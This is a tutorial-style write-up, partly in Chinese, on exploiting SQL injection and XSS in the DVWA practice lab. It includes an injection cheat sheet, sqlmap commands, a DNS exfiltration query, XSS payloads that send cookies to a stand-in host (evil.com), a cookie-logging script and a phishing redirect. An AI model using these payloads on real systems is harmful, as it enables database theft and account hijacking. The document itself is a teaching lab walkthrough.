Intrusion and Detection Technology-SQL Injection and XSS Vulnerability Exploitation

  • Author: ZERO-A-ONE
  • Date: 2021-05-31

1. Environment construction

Here we mainly use the Linux environment with Docker to quickly build the relevant environment

Machine configuration used:

  • Tencent Cloud
  • OS: Ubuntu 18.04 LTS
  • CPU: Intel® Xeon® Gold 6148 CPU @ 2.40GHz
  • RAM: 2GB

1.1 Docker

1.1.1 Introduction

Docker was originally dotClouda project within the company founder Solomon Hykes in France during the launch, which is based on dotCloudan innovation company for many years cloud services technology, and to open source Apache 2.0 license, the main project code on GitHub in March 2013 maintain. DockerThe project later joined the Linux Foundation and established the Consortium for Promoting Open Containers (OCI)

Docker using the Googlecompany launched the Go language development to achieve, based on Linuxcgroup, namespace, and Union FS and other OverlayFS class core technology, the process of encapsulation isolation, belonging to the virtualization operating system level. Since the isolated process is independent of the host and other isolated processes, it is also called a container. Initial implementation is based on LXC, from 0.7start to remove later LXCin favor of libcontainer self-developed, from the 1.11version, the further evolution using runC and containerd

Insert picture description here
runc Is a Linux command line tool used to create and run containers according to OCI container runtime specifications.
containerd It is a daemon that manages the container life cycle and provides a minimal set of functions for executing containers and managing images on a node.

On the basis of containers, Docker has carried out further encapsulation, from file system, network interconnection to process isolation, etc., which greatly simplifies the creation and maintenance of containers. MakeDocker technology more portable than the virtual machine technology, fast

The picture below compares the differences between Docker and traditional virtualization methods. Traditional virtual machine technology is to virtualize a set of hardware, run a complete operating system on it, and then run the required application process on the system; while the application process in the container runs directly on the host's kernel, and the container does not have its own Kernel, and there is no hardware virtualization. Therefore, containers are more portable than traditional virtual machines

Insert picture description here
Insert picture description here

1.1.2 Installation

Update the software source first

$ sudo apt update $$ sudo apt upgrade -y

Download the installation script:

$ curl -fsSL https://get.docker.com -o get-docker.sh

Download and install using Alibaba Cloud image:

$ sh get-docker.sh --mirror Aliyun

Add the current user to the docker group:

$ sudo usermod -aG docker $USER

Install docker-compose:

$ sudo apt install docker-compose -y
Insert picture description here

Configure Alibaba Cloud Container Image Accelerator:

The accelerator can be used by modifying the daemon configuration file /etc/docker/daemon.json

$ sudo mkdir -p /etc/docker
$ sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://8q5vd0yv.mirror.aliyuncs.com"]
}
EOF
$ sudo systemctl daemon-reload
$ sudo systemctl restart docker

1.2 DVWA

1.2.1 Introduction

​ DVWA (Damn Vulnerable Web Application) is a PHP/MySQL Web application used for security vulnerability identification. It aims to provide a legal environment for security professionals to test their professional skills and tools, and to help web developers better understand The process of web application security

​ DVWA contains a total of ten attack modules, namely:

  • Brute Force (brute force (crack))
  • Command Injection
  • CSRF (Cross Site Request Forgery)
  • File Inclusion
  • File Upload
  • Insecure CAPTCHA (insecure verification code)
  • SQL Injection
  • SQL Injection (Blind) (SQL Injection)
  • XSS (Reflected) (reflected cross-site scripting)
  • XSS (Stored) (stored cross-site scripting)
  • A practice environment that includes all the OWASP TOP10 attack vulnerabilities, a one-stop learning environment that solves all Web infiltrations

​ In addition, DVWA can also manually adjust the security level of the source code of the drone, which are Low, Medium, High, and Impossible. The higher the level, the stricter the security protection and the greater the difficulty of penetration. Generally, Low level basically has no protection or just the simplest protection, and it can easily penetrate successfully; while Medium will use some very rough protection, which requires users to know how to bypass the protection measures; High level protection will greatly Improve the protection level. Generally, High-level protection requires very rich experience to successfully penetrate; finally Impossible is basically impossible to penetrate successfully, so the source code of Impossible can generally be referred to as the best means of web protection in the production environment

1.2.2 Installation

Use docker to build:

Pull the dvwa image:

$ sudo docker pull vulnerables/web-dvwa

Run this image:

$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa

Just visit port 80

Use dockerfile to build:

project address:

https://link.zhihu.com/?target=https%3A//github.com/MyKings/docker-vulnerability-environment

Clone the project to local

$ git clone https://github.com/MyKings/docker-vulnerability-environment.git

Enter the DVWA catalog

$ cd docker-vulnerability-environment/DVWA

Create docker image

$ docker build -t dvwa .

Create docker container

# 交互创建一个容器, 本容器 80 端口映射到宿主机的 8003 端口上,端口根据需要修改$ docker run -it --name dvwa_vul -p 0.0.0.0:8003:80 dvwa /bin/bash# 后台运行$ docker run -d --name dvwa_vul -p 0.0.0.0:8003:80 dvwa# 进入一个已经运行的容器$ docker exec -it dvwa_vul sh
Insert picture description here

Default login parameters:

  • Username: admin
  • Password: password

Log in to DVWA, you need to create a database for the first time

Insert picture description here

Successful installation

Insert picture description here

Two, SQL Injection

2.1 Basic knowledge of SQL injection

By injecting SQL grammar into the user-controllable parameters, the original SQL structure is destroyed, and the attack behavior is unexpected results when writing the program. The cause can be attributed to the superposition of the following two reasons:

  1. The programmer uses string splicing to construct SQL statements when dealing with the interaction between the application and the database
  2. The parameter content is spliced ​​into the SQL statement without sufficient filtering of the user-controllable parameters

2.1.1 Basic concepts

  • SQL injection is an attack in which SQL code is inserted or added to the input parameters of the application (user), and then these parameters are passed to the back-end SQL server for analysis and execution
  • The attacker can modify the SQL statement, and the process will have the same permissions as the component that executes the command (such as database server, application server, or WEB server)
  • If the web application developer cannot ensure that the values ​​received from web forms, cookies, input parameters, etc. have been validated before being passed to the SQL query (the query is executed on the database server), SQL injection vulnerabilities usually occur

2.1.2 Common Tools

2.1.3 Injecting common parameters

  • user(): Current database user
  • database(): Current database name
  • version(): The currently used database version
  • @@datadir: Database storage data path
  • concat(): Joint data, used to combine two data results. Such asconcat(username,0x3a,password)
  • group_concat(): And concat()similar, such asgroup_concat(DISTINCT+user,0x3a,password) , for converting a plurality of data out of the injection
  • concat_ws(): Usage is similar
  • hex() with unhex() : used for hex encoding and decoding
  • load_file(): Read the file in text mode. In Windows, the path is set to \\
  • select xxoo into outfile '路径': Can write files directly when the authority is high

2.1.4 Grammar reference and tips

Line comment

--

DROP sampletable;--

#

DROP sampletable;#

Inline comment

/*注释内容*/

DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members

/*! MYSQL专属 */

SELECT /*!32302 1/0, */ 1 FROM tablename

String encoding

  • ASCII(): Return the ASCII code value of the character
  • CHAR(): Convert an integer to the corresponding character

Background universal password

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • Log in as a different user ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

2.1.5 Inject statement memo

data storage name

SELECT database();SELECT schema_name FROM information_schema.schemata;

Table Name

union query

--MySQL 4版本时用version=9,MySQL 5版本时用version=10UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';

Blind

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

Report an error

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。

Column name

union query

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Blind

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

Report an error

-- 在5.1.5版本中成功AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));

use PROCEDURE ANALYSE()

-- 这个需要 web 展示页面有你所注入查询的一个字段-- 获得第一个段名SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()-- 获得第二个段名1 LIMIT 1,1 PROCEDURE ANALYSE()-- 获得第三个段名1 LIMIT 2,1 PROCEDURE ANALYSE()

Query the table based on the column name

-- 查询字段名为 username 的表SELECT table_name FROM information_schema.columns WHERE column_name = 'username';-- 查询字段名中包含 username 的表SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

Bypass the quotation mark restriction

-- hex 编码SELECT * FROM Users WHERE username = 0x61646D696E-- char() 函数SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

Bypass string blacklist

SELECT 'a' 'd' 'mi' 'n';SELECT CONCAT('a', 'd', 'm', 'i', 'n');SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

Use CONCAT(), any parameter is null, will return null, it is recommended CONCAT_WS(). CONCAT_WS()The first parameter of the function indicates which character interval is used to query the result

Conditional statements

CASE, IF(), IFNULL(), NULLIF().

SELECT IF(1=1, true, false);SELECT CASE WHEN 1=1 THEN true ELSE false END;

Delay function

SLEEP(), BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

Injection after order by

order byBecause it is a sorting sentence, you can use conditional sentences to make judgments, and judge whether the conditions are true or false according to the returned sorting results. With general orderor order byvariables that are likely to be injected, to know when a field can be implanted in the following way:

Original link:http://www.test.com/list.php?order=vote

According to votefield sorting. Find the largest number of votes of votes numand then construct the following links:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

See if the sorting changes. Another method does not need to know any field information, use randthe function:

http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)

The above two will return different sorts. The statement to determine whether the first character in the table name is less than 128 is as follows:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

Wide byte injection

GBK encoding domestic most commonly used in this way mainly to bypass addslashesand other special characters to bypass the transfer. Backslash \hex is %5c, you input %bf%27, the function encounters a single quotation mark is added automatically transferred \, this time becomes %bf%5c%27, %bf%5cbecomes a wide-character "mourning" in the GBK. %bfThat position may be %81-%fein the middle of any character. Not only in SQL injection, wide character injection can be applied in many places

DNSLOG injection

When DNS resolves, it will leave a log, and obtain information by reading the resolution log of a multi-level domain name. Simply put, it is to put the information in the high-level domain name, pass it to yourself, and then read the log to obtain the information.

dnslog platform: http://ceye.io/

mysql> use security;Database changedmysql> select load_file('\\\\test.xxx.ceye.io\\abc');+-------------------------------------------+| load_file('\\\\test.xxx.ceye.io\\abc') |+-------------------------------------------+| NULL                                      |+-------------------------------------------+1 row in set (22.05 sec)mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));+----------------------------------------------------------------------+| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |+----------------------------------------------------------------------+| NULL                                                                 |+----------------------------------------------------------------------+1 row in set (0.00 sec)

2.1.6 Injection type

According to the method of data submission: GET injection, POST injection, COOKIE injection, HTTP header injection

According to the type of injection point: data injection point, character injection point, search injection point

According to the execution effect: Boolean-based blind injection, time-based blind injection, error-based injection, joint query injection, stacked injection

Input, wide byte injection

2.1.7 SQL injection conventional use ideas

  • Finding injection points can be achieved through web scanning tools
  • Through the injection point, try to obtain relevant information about the database connection user name, database name, database connection user authority, operating system information, database version, etc.
  • Guess the key database tables and their important fields and contents (commonly such as the table name and field name of the administrator account)
  • You can find the background login through the obtained user information. 5) Use the further information from the background or learn to upload a webshell or write a word Trojan horse to the database to further increase the authority until the server authority is obtained.

2.1.8 Manually inject conventional utilization ideas

  • Determine whether there is injection, whether the injection is a character type or a number type
  • Guess the number of fields in the SQL query
  • Determine the order of displayed fields
  • Get the current database
  • Get the table in the database
  • Get the field name in the table
  • Query account data
  • Query the installation system and location of the current database

Three, DVWA-SQL injection

3.1 Low-level SQL injection combat

Source code audit:

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res: false)) . '</pre>' );        // Get results        while( $row = mysqli_fetch_assoc( $result ) ) {        // Get values        $first = $row["first_name"];        $last = $row["last_name"];        // Feedback for end user        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";    }mysqli_close($GLOBALS["___mysqli_ston"]);}?>

In the source code, we can see that the parameter id passed through the REQUEST method is accepted, without any filtering of the parameters, and directly brought into the database for query through the sql statement, so sql injection can be used

3.1.1 Manual injection

After you set the security level to Low, click SQL Injectionto enter SQL injection practice page. First enter an ID number in the text box, and find that the user information can be returned. At the same time, it is found that the submitted parameter information appears in the URL, indicating that the page submission method is GET

Insert picture description here

Enter in the text box 1‘and find that the page reports an error, indicating that the single quote is executed, there is a SQL injection vulnerability, and from the error message, it is known that the database of the site is MySQL

Insert picture description here
Insert picture description here

In the text box 1 and 1=1and 1 and 1=2, you can get back data on the possible injection vulnerability type is not a number

Insert picture description here
Insert picture description here

Input in the text box 1' and 1=1#, you can return data, input 1' and 1=2#, no data is returned, indicating that the injection is successful, confirm that the vulnerability is a character type

Insert picture description here
Insert picture description here

Enter in the text box 1' and 1=2 union select 1,2#and confirm that the first field in the record set is displayed at First name, and the second field in the record set is displayed at Surname.

Insert picture description here

Enter in the text box 1' and 1=2 union select database(),2#, the current database name is displayed in the original first field asdvwa

Insert picture description here

Enter in the text box 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#, the original second field displays all the table names in the current database. I found the guestbook table and the users table. The users table is most likely a table that records user names and passwords.

Insert picture description here

Enter in the text box 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#, the original second field displays all the field names in the users table. Among them, the user and password fields are found, most likely user name and password fields

Insert picture description here

Enter in the text box 1' and 1=2 union select user,password from users#, the user name and password in the table are displayed in the first field and the second field respectively

Insert picture description here

Crack the MD5 encrypted password at http://www.cmd5.com to get the password in plain text

Insert picture description here

3.1.2 SQLMap automated injection

Visit DVWA in Kali, set the security level to Low, enter the SQL injection module, enter the ID value at will, and copy the current URL address

http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#

Since DVWA needs to log in to access this page, when using the SQLMap tool to automate injection, you need to get the current cookie value. We can get the current cookie in the exercise module of reflective XSS. Click XSS Reflected, enter in the text box ><script>alert(document.cookie)</script>, and the current cookie will be displayed after submission

Insert picture description here
PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4; security=low

Copy the current URL address, open Kali's terminal, and use the SQLMap command sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' --dbsto automatically detect the current database name

Insert picture description here

Using the SQLMap command sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa --tables, you can automatically detect all the table names in the dvwa database

Insert picture description here

Using the SQLMap command sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa -T users --column, you can automatically detect all the field names in the users table

Insert picture description here

Using the SQLMap command sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa -T users -C user,password --dump, you can automatically detect the user name and password content, and automatically MD5 decryption, you need to manually enter Y to confirm halfway

Insert picture description here

3.2 Medium-level SQL injection combat

Review source code

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    // Get results    while( $row = mysqli_fetch_assoc( $result ) ) {        // Get values        $first = $row["first_name"];        $last  = $row["last_name"];        // Feedback for end user        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";    }    mysqli_close($GLOBALS["___mysqli_ston"]);}?> 

[External link image transfer failed. The origin site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-69TPFuVW-1622465067108)(%E5%A4%A7%E4%BD%9C%E4%B8%9A. assets/image-20210531153541736.png)]

As you can see, the Medium-level code uses the mysql_real_escape_string function to escape the special symbols \x00, \n, \r, \,', ", \x1a, and a drop-down selection form is set up on the front-end page, hoping to control the user input of

3.2.1 Manual injection

After the security level is set to Medium, enter the SQL injection module again and find that there is no text box. After you select an ID at random, you can return the data, and no parameters are displayed on the URL, indicating that the page is a POST submission method. Since there is no interface for inputting information on the page, you need to use tools such as Burpsuite to construct the POST package

Insert picture description here
Insert picture description here

Run Burpsuite and set up the browser proxy

Insert picture description here
Insert picture description here

Go to the SQL injection page again and choose an ID value randomly, click Submit, the data packet will be intercepted by Burpsuite and displayed

Insert picture description here

ID value is added after 'the single quotation marks, and click the Forwardbutton, the browser error, found the same SQL injection vulnerability

Insert picture description here


Insert picture description here

Intercept the data packet again, join and 1=2 union select 1,2#, and confirm that the first field in the record set is displayed at First name on the page, and the second field in the record set is displayed at Surname.

Insert picture description here


Insert picture description here

Query database name, table name method and Low consistent with the level of ideas, but do not need to close the single quotes and # Syntax

Intercept data packets, adding and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'time to query field name, find the page error

Insert picture description here


Insert picture description here

Turn off the proxy function of Burpsuite temporarily, click on the page to View Sourceview the current source code, and find that the ID value submitted has been addedmysql_real_escape_string function that will be escaped single quotes, leading to construct the SQL statement is not successful

On the table usersfor 16 hexadecimal HEX codes, you may not need to use single quotation marks. usersAfter HEX encoding, it is 0x7573657273(there are websites on the Internet that can perform online HEX encoding on characters, and you can search by yourself). After re-opening Burpsuite's proxy function, add it to the intercepted package and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273, you can successfully query the field name

Insert picture description here
Insert picture description here

Intercept the data packet, join and 1=2 union select user,password from users#, you can successfully query the content of the user name and password

Insert picture description here
Insert picture description here

3.2.2 SQLMap automatic injection

To use SQLMap to automatically complete POST injection, you need to copy the contents of the normal POST package to a txt document, and then call the document to perform the injection. First use Burpsuite to intercept normal POST packets, right-click-select Copy to file to copy to /root/post.txt, turn off Burpsuite's proxy function, and then use the command sqlmap -r /root/post.txt --dbsto query the database name

Insert picture description here
Insert picture description here

Use the SQLMap command sqlmap -r /root/post.txt -D dvwa --tablesto query the table name

Insert picture description here

Use the SQLMap command sqlmap -r /root/post.txt -D dvwa -T users --columnsto query the field name

Insert picture description here

Use the SQLMap command sqlmap -r /root/post.txt -D dvwa -T users -C user,password --dumpto query the contents of the user name and password

Insert picture description here

3.3 High-level SQL injection combat

Review source code

 <?phpif( isset( $_COOKIE[ 'id' ] ) ) {    // Get input    $id = $_COOKIE[ 'id' ];    // Check database    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors    // Get results    $num = @mysql_numrows( $result ); // The '@' character suppresses errors    if( $num > 0 ) {        // Feedback for end user        echo '<pre>User ID exists in the database.</pre>';    }    else {        // Might sleep a random amount        if( rand( 0, 5 ) == 3 ) {            sleep( rand( 2, 4 ) );        }        // User wasn't found, so the page wasn't!        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );        // Feedback for end user        echo '<pre>User ID is MISSING from the database.</pre>';    }    mysql_close();}?>

After setting dvwa to advanced, click SQL Injection, click "here to change your ID", and the page will automatically jump. Automatic SQL injection is defended. When analyzing the source code, you can see that there is no defense against parameters. The number of queries is limited in the sql query statement. You can use webcruiser to capture packets and modify data to bypass it.

析页面源码,发现加入了 LIMIT 1 来限制 SQL 语句最多只查询出一条记录,导致无法正使用常规注入手段来爆出数据库中其他内容

3.3.1 手动注入

设置安全级别为 High,点开 SQL 注入页面,发现没有输入框,点击 here to change your ID,跳转到新窗口输入查询信息。分离了输入页面和显示结果页面,防止使用 SQLMap 等工具进行自动化注入。同时,确认该页面参数提交方式为 POST

Insert picture description here

文本框输入 1',发现页面报错,但是报错内容被替换,无法得知数据库类型

Insert picture description here

在文本框中输入 1’ and 1=1#,注释掉后面的 LIMIT 1 命令使其无效,可以返回数据,加入 1‘ and 1=2#,没有返回数据,说明仍存在 SQL 注入漏洞,并确认漏洞为字符型

Insert picture description here

后续注入步骤与 Low 级别思路一致,不再赘述

3.4 Impossible 级别 SQL 注入

设置安全级别为 Impossible,查看 SQL 注入页面源码,发现使用了 PDO 技术,几乎彻底杜绝了 SQL 注入

Insert picture description here
 <?phpif( isset( $_GET[ 'Submit' ] ) ) {    // Check Anti-CSRF token    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input    $id = $_GET[ 'id' ];    // Was a number entered?    if(is_numeric( $id )) {        // Check the database        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );        $data->bindParam( ':id', $id, PDO::PARAM_INT );        $data->execute();        $row = $data->fetch();        // Make sure only 1 result is returned        if( $data->rowCount() == 1 ) {            // Get values            $first = $row[ 'first_name' ];            $last  = $row[ 'last_name' ];            // Feedback for end user            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";        }    }}// Generate Anti-CSRF tokengenerateSessionToken();?>

impossible.php 代码采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的 id 是否是数字 or 数字字符串,满足条件才知晓 query查询语句 Anti-CSRF token 机制的加入了进一步提高了安全性,session_token 是随机生成的劢态值,每次向服务器请求,客户端都会携带最新从服务端下发的 session_token 值向服务器请求作匹配验证,相互匹配才会验证通过

四、XSS

4.1 XSS 简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击

4.1.1 XSS 漏洞分类及原理

反射型 xss:简单地把用户输入的数据反射给浏览器

反射攻击是指注入的脚本从Web服务器反射出来的攻击,例如错误消息,搜索结果或包含作为请求的一部分发送到服务器的部分或全部输入的任何其他响应。反射的攻击通过其他途径传递给受害者,例如在电子邮件中或在其他一些网站上。当用户被欺骗点击恶意链接,提交特制表单,甚至只是浏览恶意网站时,注入的代码会传播到易受攻击的网站,这会将攻击反映回用户的浏览器。然后浏览器执行代码,因为它来自“可信”服务器。反射的XSS 有时也称为非持久性或 II 型 XSS。简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功

存储型 XSS:将用户输入的数据存储在服务器端

Stored Cross Site Scripting(XSS)存储型跨站脚本攻击会把用户输入的数据存储在服务器端。如果 web 应用程序从恶意用户处收集了输入数据并将这些数据存储在数据库中以供以后使用,就会发生储存式跨站点脚本。如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS比较危险,容易造成蠕虫,盗窃 cookie 等

DOM-XSS:通过修改页面的 DOM 节点形成的 XSS

DOM—based XSS 漏洞是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。DOM 是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM 中有很多对象,其中一些是用户可以操纵的,如 uRI,location,refelTer 等。客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格确认,就会产生 DOM—based XSS 漏洞

4.2 反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {     // Feedback for end user     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

4.3 持久型 XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:

<?php  if( isset( $_POST[ 'btnSign' ] ) ) {    // Get input    $message = trim( $_POST[ 'mtxMessage' ] );    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input    $message = stripslashes( $message );    $message = mysql_real_escape_string( $message );    // Sanitize name input    $name = mysql_real_escape_string( $name );    // Update database    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    //mysql_close(); }?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

4.4 DOM XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>  <head>    <title>DOM-XSS test</title>  </head>  <body>    <script>      var a=document.URL;      document.write(a.substring(a.indexOf("a=")+2,a.length));    </script>  </body></html>

将代码保存在 domXSS.html 中,浏览器访问:

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可触发 XSS 漏洞。

4.5 XSS 利用方式

4.5.1 Cookies 窃取

攻击者可以使用以下代码获取客户端的 Cookies 信息:

<script>document.location="http://www.evil.com/cookie.asp?cookie="+document.cookienew Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie</script><img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

<%  msg=Request.ServerVariables("QUERY_STRING")  testfile=Server.MapPath("cookie.txt")  set fs=server.CreateObject("Scripting.filesystemobject")  set thisfile=fs.OpenTextFile(testfile,8,True,0)  thisfile.Writeline(""&msg& "")  thisfile.close  set fs=nothing%><?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

4.5.2 会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

4.5.3 钓鱼

重定向钓鱼

把当前页面重定向到一个钓鱼页面。

http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>

HTML 注入式钓鱼

使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

